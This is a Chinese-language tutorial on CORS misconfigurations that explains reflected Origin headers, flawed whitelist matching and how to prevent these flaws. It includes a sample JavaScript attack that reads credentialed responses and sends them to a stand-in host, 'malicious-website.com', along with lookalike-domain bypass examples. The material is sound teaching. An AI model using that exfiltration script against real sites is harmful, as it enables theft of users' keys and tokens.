（十三）跨域资源共享（CORS）

---

一、什么是CORS（跨域资源共享）？

跨域资源共享（CORS）是一种浏览器机制，可实现对位于给定域外部的资源的受控访问。它扩展了同源策略（SOP）并增加了灵活性。但是，如果网站的CORS策略配置和实施不当，它也可能带来基于跨域的攻击。CORS并不是针对跨域攻击（例如跨站点请求伪造（CSRF））的保护措施。

同源政策

同源策略是一种限制性的跨域规范，它限制了网站与源域之外的资源进行交互的能力。同源策略是在多年前定义的，以应对潜在的恶意跨域交互，例如，一个网站从另一个网站窃取了私人数据。通常，它允许一个域向其他域发出请求，但不允许访问响应。

二、由CORS配置问题引起的漏洞

许多现代网站都使用CORS允许从子域和受信任的第三方进行访问。他们对CORS的实施可能包含错误或过于宽容，无法确保一切正常，并且这可能导致可利用的漏洞。

服务器生成的来自客户端指定的Origin头的ACAO头

某些应用程序需要提供对许多其他域的访问。维护允许域的列表需要不断的努力，任何错误都可能破坏功能。因此，某些应用程序采取了有效地允许从任何其他域进行访问的简便方法。

一种方法是通过从请求中读取Origin头，并包括一个响应头说明请求的源是允许的。例如，考虑一个接收以下请求的应用程序：

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

然后，它以以下方式响应：

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

这些标头指出，允许来自请求域（malicious-website.com）的访问，并且跨域请求可以包含cookie（Access-Control-Allow-Credentials: true），因此将在会话期间进行处理。

因为应用程序在Access-Control-Allow-Origin标头中反映了任意来源，所以这意味着绝对任何域都可以从易受攻击的域访问资源。如果响应中包含任何敏感信息，例如API密钥或CSRF令牌，则可以通过在网站上放置以下脚本来检索此信息：

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

解析Origin标头时出错

一些支持来自多个来源的访问的应用程序通过使用允许的来源的白名单来实现。收到CORS请求后，会将提供的来源与白名单进行比较。如果来源出现在白名单上，那么它会反映在Access-Control-Allow-Origin标题中，以便授予访问权限。例如，应用程序收到一个正常的请求，例如：

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

应用程序根据其允许的来源列表检查提供的来源，如果在列表中，则按以下方式反映该来源：

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

实施CORS来源白名单时经常会出现错误。一些组织决定允许从其所有子域（包括尚不存在的未来子域）进行访问。并且某些应用程序允许从其他各种组织的域（包括其子域）进行访问。这些规则通常通过匹配URL前缀或后缀或使用正则表达式来实现。实施中的任何错误都可能导致将访问权限授予意外的外部域。

例如，假设一个应用程序授予对所有以下列结尾的域的访问权限：

normal-website.com

攻击者可能可以通过注册域来获得访问权限：

hackersnormal-website.com

或者，假设应用程序授予对所有以以下内容开头的域的访问权限

normal-website.com

攻击者可能可以使用该域获得访问权限：

normal-website.com.evil-user.net

如何预防基于CORS的攻击

CORS漏洞主要是由于配置错误而引起的。因此，预防是一个配置问题。

正确配置跨域请求

如果Web资源包含敏感信息，则应在Access-Control-Allow-Origin标头中正确指定来源。

只允许信任的网站

看起来似乎很明显，但是Access-Control-Allow-Origin标头中指定的来源只能是受信任的站点。特别是，无需验证就可以动态反映跨域请求的来源而无需验证，因此应避免使用。

避免将null列入白名单

避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS标头。

避免在内部网络中使用通配符

避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时，仅靠信任网络配置来保护内部资源是不够的。

CORS不能替代服务器端安全策略

CORS定义了浏览器的行为，绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此，除了正确配置的CORS之外，Web服务器还应继续对敏感数据应用保护，例如身份验证和会话管理。